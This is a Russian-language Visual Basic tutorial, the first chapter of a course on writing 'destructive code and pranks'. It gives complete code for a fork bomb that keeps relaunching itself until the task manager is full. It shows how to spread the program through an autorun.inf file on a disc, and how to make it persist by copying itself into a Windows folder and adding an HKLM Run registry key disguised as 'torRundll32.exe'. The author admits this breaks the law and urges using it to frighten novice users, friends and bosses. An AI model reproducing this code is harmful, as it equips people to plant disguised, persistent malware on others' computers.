Каталог статей

Написание деструктивных кодов и шуток на VB. Глава 1

Я вам обещаю, что при изучении всего курса вы станете профессионалами в создании шуток!

Начнем с того, что эта вещь осуждается законом по какой-то там статье, но думаю наша программка особого зла не причинит!

Начнем с такого простенького примера:

Создаем форму и вписываем вот такие строчки

Private Sub Form_Load()

10 GoTo 10’ Вечный цикл. Нас постоянного перебрасывает на строчку 10

End Sub

Пример настолько прост, что наивно полагаешь, мол да ну у меня такая мощная машина, что ей вечные циклы ни фига не страшны. А теперь усложним пример: Дописываем туда же вот это:

10 Shell App.Path & "\" & App.EXEName & ".exe"

Это показывает что операция 10 – это запуск самой себя, а это еще мощней. Теперь весь диспетчер задач будет забит до отказа.

Но и этого мала не правда ли. Ведь для того, чтобы это работало следует это запустить. Теперь этап проникновение. Берешь любой диск, пишешь в Блокноте вот такую штуку

[autorun]

Open =Имя файла

Icon = Путь к иконке

Теперь при запуске диска прога запустится и начнется крах-тарарах. И этого мало? Ну тогда запишем твою прогу в реестр, чтобы она запускалась при каждой загрузке винды. Хочется? Мне тоже, тогда поехали? Для этого нам понадобится модуль из урока о реестре и джойнере, а также все функции, которые там в таблице. Скажу лишь одно, раздел автозагрузки находится здесь (HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\) , ай блин, чтоб опять ничего не просили делаем так, чтобы твоя прога проверяла нет ли ее в папке, например, Windows\system32, если нет тогда она записывается в реестр. Ну че хорошо! А? Теперь вот тебе вся прога коль ни чего не умеешь.

On Error Resume Next 'Если будут ошибки то пропускаем их и идём дальше

If App.Path = Environ("windir") & "\TOR" Then ' Если нас установили до этого

Something 'то идём к деструктивному коду

Else 'а если нет

install 'То устанавливаемся на компьютер

End If

End Sub 

Sub install() 'Процедура инсталляции

On Error Resume Next 'Если будут ошибки то пропускаем их и идём дальше

AppNamePath = App.Path & "\" & App.EXEName & ".exe" 'Откуда нас запустили

WinDir = Environ("windir") & "\TOR" 'Куда хотим установится

MkDir WinDir ' Создаём папку для установки

FileCopy AppNamePath, WinDir & "\" & App.EXEName & ".exe" 'Копируемся в папку

'для установки

Set Reg = CreateObject("WScript.Shell")'Прописываемся в авто загрузку

Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\torRundll32.exe", WinDir & "\" & App.EXEName & ".exe" ‘ставим путь и название программы

End Sub

Sub Something() 'деструктивный код

On Error Resume Next 'Если будут ошибки то пропускаем их и идём дальше

10 Shell App.Path & "\" & App.EXEName & ".exe", vbMinimizedNoFocus

'Сюда можете вставить всё что хотите. Я вставил процедуру загрузки себя бесконечно

'msgbox “I hate lamo”  ‘Шутка не всем нравится :-)

'x=x+1  можно досчитать до 1000000000000000000 за счет ресурсов друга.

'playsound (sex.wav) а если это услышит начальник на работе :-).  

GoTo 10

End Sub

Здесь мы рассмотрели еще один способ работы с реестром, настолько простой, что даже ребенку посильно в нем разобраться.

Set Reg = CreateObject("WScript.Shell")Объявляем объект для работы с реестром WScript

Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\torRundll32.exe", - c помощью него работает с реестором.

Хотя этот способ легкий, советую посмотреть модуль и разобраться в API функциях – это поднимет знания, да и память тоже! Ну, бывайте! Стоп! Не договорил малясь. В процедуре Something можно написать все, что душе угодно. Конечно вирусом назвать ЭТО сложно, но попугать юзверей не умеющих работать за компьютером можно, да еще как!